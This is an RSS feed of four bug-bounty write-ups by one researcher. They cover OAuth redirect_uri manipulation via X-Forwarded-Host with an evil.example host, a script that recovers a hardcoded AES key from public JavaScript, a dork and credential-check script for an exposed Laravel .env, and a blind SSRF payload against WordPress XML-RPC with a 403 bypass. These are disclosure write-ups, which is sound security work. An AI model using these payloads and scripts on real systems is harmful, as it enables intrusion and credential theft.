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        <title><![CDATA[Stories by 0x7ipher on Medium]]></title>
        <description><![CDATA[Stories by 0x7ipher on Medium]]></description>
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            <title>Stories by 0x7ipher on Medium</title>
            <link>https://medium.com/@0x7ipher?source=rss-a342996616af------2</link>
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        <lastBuildDate>Mon, 16 Nov 2026 22:32:42 GMT</lastBuildDate>
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            <title><![CDATA[OAuth Redirect URI Manipulation via X-Forwarded-Host Injection]]></title>
            <link>https://0x7ipher.medium.com/oauth-redirect-uri-manipulation-via-x-forwarded-host-injection-8900a5cc1522?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/8900a5cc1522</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[wapt]]></category>
            <category><![CDATA[host-header-injection]]></category>
            <category><![CDATA[responsible-disclosure]]></category>
            <category><![CDATA[oauth]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 21:50:36 GMT</pubDate>
            <atom:updated>2026-10-20T21:50:36.952Z</atom:updated>
            <content:encoded><![CDATA[<h4>How an Untrusted HTTP Header Influenced an Azure AD OAuth Callback</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpK8sqkIJgixeRIfVJV1dA.png" /></figure><p>During an authorized <strong>black-box</strong> web application penetration test, I identified an issue in the Azure Active Directory (Azure AD) authentication flow of target.com.</p><p>The application appeared to construct its OAuth redirect_uri using the client-supplied X-Forwarded-Host HTTP header. By modifying this single header, I was able to change the callback hostname embedded in the OAuth authorization request.</p><p>In this article, I’ll walk through how I identified the behavior, validated it through controlled comparisons, captured the proof of concept, and assessed its potential security impact.</p><blockquote><strong>Disclaimer:</strong> This research was conducted during an authorized vulnerability disclosure program assessment. Testing was limited to the in-scope application and a self-owned anonymous session. The results demonstrate callback URL manipulation; authorization-code interception and account takeover were not confirmed.</blockquote><h3>Understanding the OAuth Flow</h3><p>OAuth authentication commonly involves redirecting a user from a web application to an identity provider. The authorization request contains a parameter named redirect_uri, which specifies where the identity provider should return the browser after authentication.</p><p>For example, the expected callback in this case was:</p><pre>https://target.com/user/auth/azure_activedirectory_v2/callback</pre><p>This callback URL should be constructed using a trusted, server-side configuration rather than an arbitrary value supplied by the client.</p><p>HTTP forwarding headers, such as X-Forwarded-Host, are frequently used by reverse proxies to communicate the original hostname. However, if an application trusts a client-controlled forwarding header without validating its source, that header may influence security-sensitive URL generation.</p><p>This led me to investigate whether the Azure AD authentication flow was affected by this behavior.</p><h3>Identifying the Authentication Endpoint</h3><p>I first mapped the legitimate authentication flow using Firefox and inspected the related HTTP requests.</p><p>The endpoint initiating the Azure AD authentication process was:</p><pre>POST /user/auth/azure_activedirectory_v2 HTTP/2<br>Host: target.com</pre><p>The endpoint responded with an HTTP redirect to Microsoft’s OAuth authorization endpoint.</p><p>I focused on the Location response header because it contained the authorization request, including the redirect_uri parameter.</p><h3>Establishing the Baseline</h3><p>Before attempting any manipulation, I sent the authentication request without an X-Forwarded-Host header.</p><p>The application returned an HTTP 302 Found response. The resulting OAuth authorization URL contained a redirect_uri pointing to the expected production hostname.</p><p>A simplified, sanitized representation of the response is shown below:</p><pre>HTTP/2 302 Found<br>Location: https://login.microsoftonline.com/.../authorize<br>  ?client_id=[REDACTED]<br>  &amp;redirect_uri=https%3A%2F%2Ftarget.com%2Fuser%2Fauth%2Fazure_activedirectory_v2%2Fcallback<br>  &amp;response_type=code<br>  &amp;scope=openid%20profile%20email<br>  &amp;state=[REDACTED]</pre><p>After URL-decoding the redirect_uri parameter, the callback was:</p><pre>https://target.com/user/auth/azure_activedirectory_v2/callback</pre><p>This established the expected behavior and provided a baseline for comparison.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pjt00rjXSRM-VvxKpFMLw.png" /><figcaption>Under normal conditions, the application generates an OAuth callback using its expected hostname.</figcaption></figure><h3>Testing X-Forwarded-Host Manipulation</h3><p>After establishing the baseline, I repeated the same request while keeping the session and CSRF token unchanged.</p><p>The only relevant modification was the addition of the following header:</p><pre>X-Forwarded-Host: evil.example</pre><p>The application again returned a 302 Found response. However, this time the authorization URL contained a different callback hostname.</p><p>The resulting response included:</p><pre>HTTP/2 302 Found<br>Location: https://login.microsoftonline.com/.../authorize<br>  ?client_id=[REDACTED]<br>  &amp;redirect_uri=https%3A%2F%2Fevil.example%2Fuser%2Fauth%2Fazure_activedirectory_v2%2Fcallback<br>  &amp;response_type=code<br>  &amp;scope=openid%20profile%20email<br>  &amp;state=[REDACTED]</pre><p>Decoding the parameter revealed the following callback:</p><pre>https://evil.example/user/auth/azure_activedirectory_v2/callback</pre><p>The callback hostname had changed from target.com to evil.example after introducing the header. This was the key observation: <strong><em>a client-supplied HTTP header influenced the hostname embedded in a security-sensitive OAuth parameter.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LvbEVTxhPZ7arYAHivcCNw.png" /><figcaption>The application incorporated the attacker-supplied hostname into the OAuth callback URL</figcaption></figure><h3>Security Impact</h3><p>OAuth redirect URI handling is security-sensitive because the callback determines where the identity provider returns the authorization response.</p><p>If an application allows an attacker to influence this URL, the consequences depend on how the identity provider validates redirect URIs and how the rest of the authentication flow is implemented.</p><h4>Severity and Classification</h4><p>The assessment classified the finding as <strong>Medium severity</strong>. The proposed CVSS v3.1 vector in the assessment was:</p><pre>CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N</pre><h3>Conclusion</h3><p>During an authorized black-box assessment, I identified a reproducible issue in the Azure AD authentication flow of target.com.</p><p>The application’s OAuth authorization request used a callback hostname influenced by the client-supplied X-Forwarded-Host header. Controlled comparisons confirmed that different header values produced corresponding callback hostnames in the generated redirect_uri.</p><h4>Lessons Learned</h4><p>This assessment highlights several important principles for web application security:</p><ol><li><strong>Request headers are not inherently trustworthy.</strong> Their security depends on the architecture and the trust boundary between clients, proxies, and applications.</li><li><strong>OAuth callback URLs deserve special protection.</strong> Their hostnames should be derived from trusted configuration.</li><li><strong>Controlled comparisons strengthen findings.</strong> Establishing a baseline and changing one variable at a time helps isolate the actual cause.</li><li><strong>Negative controls matter.</strong> Testing related headers helps distinguish the demonstrated input from alternative explanations.</li><li><strong>Impact must be evidence-based.</strong> A manipulated callback parameter is a meaningful finding, but it should not automatically be described as account takeover.</li></ol><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*pfHJh4546VLlH3hn.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8900a5cc1522" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TATA Group Security Research Discovering a Hardcoded AES Key]]></title>
            <link>https://0x7ipher.medium.com/tata-group-security-research-discovering-a-hardcoded-aes-key-b52f96dab688?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/b52f96dab688</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-disclosure]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 05:14:01 GMT</pubDate>
            <atom:updated>2026-10-17T05:14:01.814Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Security research study on the ease at which cryptography keys could be utilized to convert ciphertext passwords to plaintext passwords.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDmcF1qtDDqMJcLIChjNHQ.png" /></figure><h3>Introduction</h3><p>Security of encryption entirely relies on how well the keys are managed. While an application might perform encryption of critical data during transfer, if the <strong>decryption key</strong> is exposed within public client-side code, it renders the entire encryption ineffective.<br>In an assessment performed under a <strong>Responsible Disclosure Program</strong>, I found out a weakness in <strong>client-side AES encryption for a login</strong> process pertaining to one of <strong>TATA group’s services</strong>.<br>The finding involved obfuscated JavaScript code which generated a static <strong>AES key</strong> at runtime by decrypting. The code was then analyzed for recovery of key/IV and tested against the intercepted login request, including test credentials for decryption offline.<br>This article describes the discovery, validation, security impact, and remediation for this vulnerability without disclosing any implementation details or credentials.</p><blockquote><strong>Disclosure notice:</strong> This article is intended for educational and defensive security research. Sensitive information, including the recovered key, test password, and potentially identifying application details, should remain redacted. Public disclosure should follow the program’s rules and any applicable confidentiality requirements.</blockquote><h3>Step 1: Identifying the Client-Side Encryption</h3><p>The initial step of the research involved checking the login process on the application and analyzing the <strong>JavaScript</strong> files utilized by the <strong>login page</strong>.<br>In the course of the analysis, I noticed a <strong>client-side</strong> mechanism which was used to <strong>encrypt the user password</strong> before sending the request. The particular piece of code was located in the file <strong>ziato.js</strong>.<br>Client-side encryption is not inherently a vulnerability. However, embedding a reusable secret in JavaScript delivered to every visitor means that the secret can potentially be recovered by anyone who can inspect the application code.</p><p><strong>Evidence 1 — Login page and affected JavaScript asset</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dlYpGUT1zv93JbouqLjmng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hVjgH9S0CzjY_yUKhBIFfA.png" /><figcaption><em>screenshot showing the relevant login page and publicly served </em><em>ziato.js asset</em></figcaption></figure><h3>Step 2: Deobfuscating the JavaScript</h3><p>However, the obtained source did not reveal the key as a plain string. Rather, the key was generated using a function of the form <strong>String.fromCharCode()</strong> with its arguments being arithmetic obfuscations in hexadecimal format.<br>The obfuscation was then analyzed, the arithmetic operations were performed, and the final <strong>16-character</strong> string was obtained. The obtained key was then tested against the encryption scheme used in the application.<br>The example showed that although the obfuscation added complexity to code review, it did not protect the cryptography key.</p><p><strong>Evidence 2 — Obfuscated key construction</strong></p><pre>import re<br>import sys<br>import requests<br><br>TARGET_URL = &quot;https://target.com/ziato.js&quot;<br><br><br>def fetch_source(url: str) -&gt; str:<br>    resp = requests.get(url, timeout=15)<br>    resp.raise_for_status()<br>    return resp.text<br><br><br>def extract_fromcharcode_args(js_source: str) -&gt; list[str]:<br>    &quot;&quot;&quot;<br>    Finds the String[...](&#39;de&#39;)(...) call used to build the key and<br>    returns its raw comma-separated argument expressions.<br>    &quot;&quot;&quot;<br>    match = re.search(<br>        r&quot;String\[[^\]]+\+&#39;de&#39;\]\(([^;]+?)\);&quot;,<br>        js_source,<br>    )<br>    if not match:<br>        raise ValueError(<br>            &quot;Could not locate the String.fromCharCode(...) construction call. &quot;<br>            &quot;The file may have changed \u2014 inspect it manually.&quot;<br>        )<br>    args_blob = match.group(1)<br>    args = [a.strip() for a in args_blob.split(&quot;,&quot;)]<br>    return args<br><br><br>def evaluate_key(args: list[str]) -&gt; str:<br><br>    chars = []<br>    for i, expr in enumerate(args, start=1):<br>        value = eval(expr, {&quot;__builtins__&quot;: {}}, {})<br>        if not isinstance(value, int) or not (0 &lt;= value &lt;= 0x10FFFF):<br>            raise ValueError(f&quot;Term {i} evaluated to an unexpected value: {value!r}&quot;)<br>        chars.append(chr(value))<br>    return &quot;&quot;.join(chars)<br><br><br>def main():<br>    url = sys.argv[1] if len(sys.argv) &gt; 1 else TARGET_URL<br>    print(f&quot;[*] Fetching {url}&quot;)<br>    source = fetch_source(url)<br><br>    print(&quot;[*] Extracting obfuscated key-construction arguments&quot;)<br>    args = extract_fromcharcode_args(source)<br>    print(f&quot;[*] Found {len(args)} terms&quot;)<br><br>    print(&quot;[*] Evaluating each term&quot;)<br>    key = evaluate_key(args)<br><br>    print(&quot;-&quot; * 50)<br>    print(f&quot;Recovered key/IV : {key}&quot;)<br>    print(f&quot;Length           : {len(key)} chars ({len(key.encode())} bytes)&quot;)<br>    print(&quot;-&quot; * 50)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BmjspEHQh_IghwsKWrukdw.png" /><figcaption><em>screenshot showing the key-construction logic</em></figcaption></figure><h3>Step 3: Capturing a Live Login Request</h3><p>To confirm the proper execution of the code, I used the form for signing in using the test password in control and analyzed the resulting request in the Network tab of the browser.<br>The application included a password field that had ciphertext, not the original password that I used to test it. It confirmed that encryption was performed in the actual login process, but not in some theoretical code.<br>The captured request was kept only for the purpose of the assessment.</p><p><strong>Evidence 3 — Live encrypted request</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5GeRCXSzLdHJqP6qsV7qEA.png" /><figcaption><em>screenshot of the relevant request payload showing the encrypted password field</em></figcaption></figure><h3>Step 4: Offline Decryption Verification</h3><p>I ran a test decryption off-line using the recovered <strong>key/IV pair</strong> and the captured <strong>ciphertext</strong> in the <strong>AES-128-CBC cipher</strong> used by the application.<br>The decrypted text turned out to be identical to the test password which I had input to the login interface.<br>This is the most critical point of validation as the conclusion is not simply based on the presence of a <strong>hardcoded key</strong> or on the detection of a weak cryptographic practice.<br>The test did not involve logging in from another user’s account, having access to another person’s credentials or conducting any destructive actions.</p><p><strong>Evidence 4 — Offline decryption result</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwl3HTyqeG2BLFACCzbOZA.png" /><figcaption><em>Screenshot showing that decryption succeeded and the result matched the controlled test input</em></figcaption></figure><h3>Potential Impact and Limitations</h3><p>The conclusion drawn is that the encryption of the client side in the application can be <strong>decrypted</strong> by reversing the captured login <strong>ciphertext</strong> if the corresponding <strong>hardcoded key</strong> is found.<br>The consequences depend on the situation in which the attacker obtains the encrypted requests. Possible ways include obtaining the request capture, compromised endpoint, or request body logging systems.</p><h3>Recommended Remediation</h3><p>Do away with the custom client-side encryption solution. Where an application implements HTTPS properly, passwords can be safely transmitted using the secure TLS channel. It is a bad idea to rely on any secret hard-coded into the JavaScript code that is available in the public domain.</p><h3>Conclusion</h3><p>One learns an important lesson regarding security from the above assessment, which shows that obfuscation is not a replacement for key management in encryption.<br>It can be seen from how I was able to trace the <strong>login</strong> sequence, <strong>deobfuscate</strong> the public <strong>JavaScript</strong>, obtain the hard-coded <strong>AES key/IV</strong>, and decrypt the <strong>ciphertext</strong> captured using the offline technique.<br>The important takeaway message for any developer is clear: do not trust any secret in your publicly distributed client-side software to protect your data.</p><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*64ziH-DijcMhZILe.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b52f96dab688" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Simple Dork Led to a Critical 10.0 CVSS]]></title>
            <link>https://cybersecuritywriteups.com/how-a-simple-dork-led-to-a-critical-10-0-cvss-06f17c86c5c6?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/06f17c86c5c6</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[env-file]]></category>
            <category><![CDATA[sensitive-data-exposure]]></category>
            <category><![CDATA[vulnerability-disclosure]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Thu, 03 Sep 2026 22:40:43 GMT</pubDate>
            <atom:updated>2026-09-04T08:22:59.922Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>A critical (<strong>CVSS 10.0</strong>) vulnerability does not necessarily involve a complicated zero-day attack chain. At times, simple misconfigurations can provide attackers with a key to an unlocked front door.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vE47CW26rzvFOAhoz6W9A.png" /></figure><blockquote><strong>Disclaimer:</strong> This paper is only intended for informative and educational use. The vulnerability described here in has been identified by a Vulnerability Disclosure Program (VDP) during a designated testing period. All sensitive information that includes identifiers, domain names, and any other organization-related information has been properly anonymized or substituted with generic terms to comply with non-disclosure requirements and target privacy. No data modification has occurred in the course of anonymizing the test data.</blockquote><h4>Technical Overview</h4><ul><li><strong>Vulnerability Class:</strong> CWE-538 (Insertion of Sensitive Information into Externally-Accessible File or Directory)</li><li><strong>Severity:</strong> Critical (CVSS v3.1: 10.0 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)</li><li><strong>Target Impact:</strong> Active API Token Disclosure &amp; External Credential Compromise</li></ul><p>Recently, while conducting a legitimate penetration test for a public <strong>Vulnerability Disclosure Program (VDP)</strong>, I came across an exposed Laravel config file revealing live credentials for a third party. Here is how the discovery was made, as well as the process used to validate the issue.</p><h4>Step 1: Dorking (The Entry Point)</h4><p>The discovery took place at the reconnaissance stage. During the process of subdomain enumeration and indexing, I applied <strong>GHDB (</strong>Google Hacking Database<strong>) </strong>operators to search for publicly indexed environment files from the target endpoints:</p><pre>site:*.target.com &quot;.env&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yovF_eP6UB-uO2fOUbARsg.png" /></figure><p>Google Dorking may frequently expose some assets that have had their environment configuration files inadvertently indexed by the crawlers because of lack of proper access permissions or <strong><em>robots.txt</em></strong>. One of the search results exposed a live host with directory indexing enabled.</p><h4>Step 2: Public Directory Listing</h4><p>Direct access to the root domain <a href="https://subdomain.target.com/">https://subdomain.target.com/</a> showed that directory listings were enabled across all web server directories.</p><p>Rather than loading the production front-end compiled by the framework from its <strong>/public</strong> directory, the web server was improperly set up to load the whole application root directory.</p><p>Some of the listed directories were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWttu8o0k7YdTIMNpT_PKg.png" /></figure><h4>Step 3: Exposed .env Configuration</h4><p>Access to the <strong>.env</strong> endpoint through <a href="https://subdomain.target.com/.env">https://subdomain.target.com/.env</a> needed no authentication whatsoever. The application provided all the environmental settings in plaintext format.</p><p>The exposed file included valuable operational secrets:</p><ol><li>Application Framework Key: <strong>APP_KEY</strong></li><li>Database Access Keys: <strong>DB_USERNAME, DB_PASSWORD</strong></li><li>External Services: Zoom API keys and tokens <strong>(ZOOM_CLIENT_SECRET)</strong></li><li>Messaging Gateway: Twilio Account SID, Twilio Auth Token <strong>(TWILIO_SID, TWILIO_AUTH_TOKEN, TWILIO_VERIFY_SID)</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fHpXOS9zLWg2fnbQyLY4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHBaG4O6HiXEakRuET9vgw.png" /></figure><h4>Step 4: Credential Validation (Twilio Authentication)</h4><p>In order to achieve maximum impact without any breach of authorization procedures or any disturbance in operations, a non-destructive verification was done.</p><p>The following read-only authentication powershell script was made against the <strong>Twilio API</strong> through the exposed <strong>Account SID</strong> and <strong>Auth Token</strong>:</p><pre>$SID=&quot;TWILIO_SID&quot;<br>$TOKEN=&quot;TWILIO_AUTH_TOKEN&quot;<br><br>$B64=[Convert]::ToBase64String(<br>    [Text.Encoding]::ASCII.GetBytes(&quot;${SID}:${TOKEN}&quot;)<br>)<br><br>$URL=&quot;https://api.twilio.com/2010-04-01/Accounts/$SID.json&quot;<br><br>try {<br>    $r=Invoke-WebRequest `<br>        -Uri $URL `<br>        -Method GET `<br>        -Headers @{Authorization=&quot;Basic $B64&quot;} `<br>        -ErrorAction Stop<br><br>    Write-Host &quot;&quot;<br>    Write-Host &quot;========== TWILIO CREDENTIAL VALIDATION ==========&quot; -ForegroundColor Cyan<br>    Write-Host &quot;Timestamp:   $(Get-Date -Format &#39;yyyy-MM-dd HH:mm:ss K&#39;)&quot;<br>    Write-Host &quot;Endpoint:    https://api.twilio.com/2010-04-01/Accounts/${SID}.json&quot;<br>    Write-Host &quot;HTTP Status: $($r.StatusCode)&quot;<br><br>    $data=$r.Content | ConvertFrom-Json<br><br>    Write-Host &quot;Account SID: $($data.sid)&quot;<br>    Write-Host &quot;Status:      $($data.status)&quot;<br>    Write-Host &quot;Type:        $($data.type)&quot;<br>    Write-Host &quot;==================================================&quot; -ForegroundColor Cyan<br>}<br>catch {<br>    Write-Host &quot;&quot;<br>    Write-Host &quot;========== REQUEST FAILED ==========&quot; -ForegroundColor Red<br><br>    if ($_.Exception.Response) {<br>        Write-Host &quot;HTTP Status: $([int]$_.Exception.Response.StatusCode)&quot;<br>    }<br><br>    Write-Host &quot;Error: $($_.Exception.Message)&quot;<br>    Write-Host &quot;====================================&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbehKyFmdnSj6QNxf4YACg.png" /><figcaption>The <strong>API </strong>responded with <strong>HTTP 200</strong> OK and an active account status. This step transformed a theory about a potential vulnerability into an actual active credential compromise because it proved that a third party could communicate with the <strong>external API infrastructure</strong>.</figcaption></figure><h4>Testing Limitations &amp; Responsible Disclosure</h4><p>In strict accordance with responsible disclosure guidelines:</p><ol><li><strong>No Harmful Operations</strong>: There were no messages sent, no modification of resources, no access to user data, and no destructive actions conducted using the validated credentials.</li><li><strong>Immediate Notification:</strong> This finding was immediately reported on the VDP reporting portal.</li><li><strong>Data Sanitization:</strong> All sensitive keys and real domain names have been redacted in the reporting evidence package.</li></ol><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*yIYNdia71Gv7SbBa.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06f17c86c5c6" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/how-a-simple-dork-led-to-a-critical-10-0-cvss-06f17c86c5c6">How a Simple Dork Led to a Critical 10.0 CVSS</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Uncovering a High-Severity Blind SSRF via WordPress XML-RPC]]></title>
            <link>https://cybersecuritywriteups.com/uncovering-a-high-severity-blind-ssrf-via-wordpress-xml-rpc-e2f8638e89b8?source=rss-a342996616af------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2f8638e89b8</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[xmlrpc]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[vulnerability-writeup]]></category>
            <dc:creator><![CDATA[0x7ipher]]></dc:creator>
            <pubDate>Wed, 02 Sep 2026 22:35:50 GMT</pubDate>
            <atom:updated>2026-09-04T08:23:23.238Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Case Study </em>Analysis of How I Discovered a Blind Server Side Request Forgery (SSRF) Exploit by Using the WordPress XML-RPC Vulnerability using (VDP).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDrl8KAfCTkg3-4vcaodpQ.png" /></figure><blockquote><strong><em>Disclaimer:</em></strong><em> This paper is only intended for informative and educational use. The vulnerability described here in has been identified by a Vulnerability Disclosure Program (VDP) during a designated testing period. All sensitive information that includes identifiers, domain names, and any other organization-related information has been properly anonymized or substituted with generic terms to comply with non-disclosure requirements and target privacy. No data modification has occurred in the course of anonymizing the test data.</em></blockquote><h4>What is XML-RPC and pingback.ping?</h4><p>Historically, WordPress had been making use of the<strong> XML-RPC </strong>protocol to allow external applications (such as mobile apps and remote blogging platforms) to connect with the site’s API. The <strong>Pingback</strong> functionality is one of the things that can be done through XML-RPC. In theory, when Website A links to Website B, Website A will send Website B a pingback message to inform Website B about it. Website B will then auto-fetch Website A to check whether there is a link from Website A to Website B.</p><h4>The Vulnerability Primitive</h4><p>The vulnerability known as <strong>SSRF </strong>occurs when the application takes URL input from the user and handles it on the server without rigorous validation.<br>Since the <strong>XML-RPC </strong>service is unauthenticated, any internet user can make a request to the server, telling it to connect to an arbitrary <strong>IP address/hostname</strong>.</p><h4>Step 1: Accessing the xmlrpc.php</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEsRhJFYj_I4dTl1OaRRAg.png" /><figcaption>A basic request to “<a href="https://agsindh.gov.pk///xmlrpc.php">https://target.com/xmlrpc.php</a>” returning 403 Forbidden</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJ9bv8APzLPCkobDwpzRgQ.png" /><figcaption>Successfull Bypassed the 403 Forbidden “<a href="https://agsindh.gov.pk///xmlrpc.php">https://target.com///xmlrpc.php</a>””</figcaption></figure><h4>Step 2: Preparing the OAST Listener</h4><p>An out-of-band method such as <strong>OAST</strong> is needed to verify the blind SSRF (server processing the request but not showing the contents of the response on the attacker’s console).<br>Through the use of an <strong>OAST</strong> framework such as Interactsh, I was able to come up with a distinct monitoring domain string for the incoming external lookups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K6bPXki2K_ElhSdZFWxAjA.png" /><figcaption><em>Mine OAST listener ararufbwggsmfsqjfasd47wib28yyonh1.oast.fun</em></figcaption></figure><h4>Step 3: Crafting the Malicious Payload</h4><p>Unauthenticated HTTP POST request was sent to the target <strong>xmlrpc.php</strong> file using XML request payload. First parameter defines the destination that server should retrieve data from:</p><pre>POST /xmlrpc.php HTTP/2<br>Host: target.com<br>Content-Type: application/xml<br><br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br>&lt;methodCall&gt;<br>  &lt;methodName&gt;pingback.ping&lt;/methodName&gt;<br>  &lt;params&gt;<br>    &lt;param&gt;<br>      &lt;value&gt;<br>        &lt;string&gt;http://YOUR-UNIQUE-OAST-DOMAIN&lt;/string&gt;<br>      &lt;/value&gt;<br>    &lt;/param&gt;<br>    &lt;param&gt;<br>      &lt;value&gt;<br>        &lt;string&gt;https://example.com&lt;/string&gt;<br>      &lt;/value&gt;<br>    &lt;/param&gt;<br>  &lt;/params&gt;<br>&lt;/methodCall&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EX8EkmEbQyrXz1LiotRBQ.png" /><figcaption>With 200 OK the server dealt with the request and returned a generic error message. Nevertheless, inspecting the Interactsh dashboard quickly revealed the vulnerability.</figcaption></figure><h4>Step 4: Analyzing the Callback</h4><p>The internal structure of the target machine performed the <strong>DNS </strong>query aimed at resolving my host. The traffic logs indicated that the traffic was coming from an external IP address which was directly hosted by the target server infrastructure; thus, the <strong>SSRF </strong>was fully confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nR_UiRwSlKiApVC4M7e1HQ.png" /><figcaption>DNS Request to our OAST Listener</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHB2cwI0Pfu7V4RGdmGm-A.png" /><figcaption>DNS Response from our OAST Listener</figcaption></figure><h4>Security Impact &amp; Exploitation Potential</h4><p>Even though a <strong>pingback</strong> payload may simply lead to a DNS look-up and an HTTP call, the operational consequences in practice may be serious indeed:</p><ol><li><strong>Recon on the Internal Network:</strong> The attackers will use the victim’s server as a proxy in order to scan for internal ports using the private IP range (RFC 1918).</li><li><strong>Communication with the Local Services: </strong>It may be used to connect to the administrative local services that are bound only to the address 127.0.0.1 (local databases, caches, internal APIs, etc.).</li><li><strong>Exposure of the Cloud Metadata:</strong> In case the system is running in the cloud (AWS, GCP, DigitalOcean, etc.), the attacker may try to fetch the metadata from the <a href="http://169.254.169.254/">http://169.254.169.254</a> endpoint.</li></ol><h4>Conclusion &amp; Responsible Reporting</h4><p>Ethical hacking principles must be followed while conducting research on public infrastructure. After confirming the validity of the o<strong>ut-of-band callback</strong>, no further tests were conducted in order to avoid any network disruption.</p><p>I formatted the findings using the Common Vulnerability Scoring System <strong>(CVSS v3.1)</strong>, determining an objective base score of 7<strong>.5 (High Severity).</strong></p><blockquote><strong><em>Thank you for reading. I hope you enjoyed this story and found it helpful.😊</em></strong></blockquote><ul><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/"><em>https://www.linkedin.com/in/muhammad-saad-9818502b3/</em></a></li><li><strong>Guthub: </strong><a href="https://github.com/msaadraj"><em>https://github.com/msaadraj</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*QPip0NGdrXGwNpjY.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2f8638e89b8" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/uncovering-a-high-severity-blind-ssrf-via-wordpress-xml-rpc-e2f8638e89b8">Uncovering a High-Severity Blind SSRF via WordPress XML-RPC</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
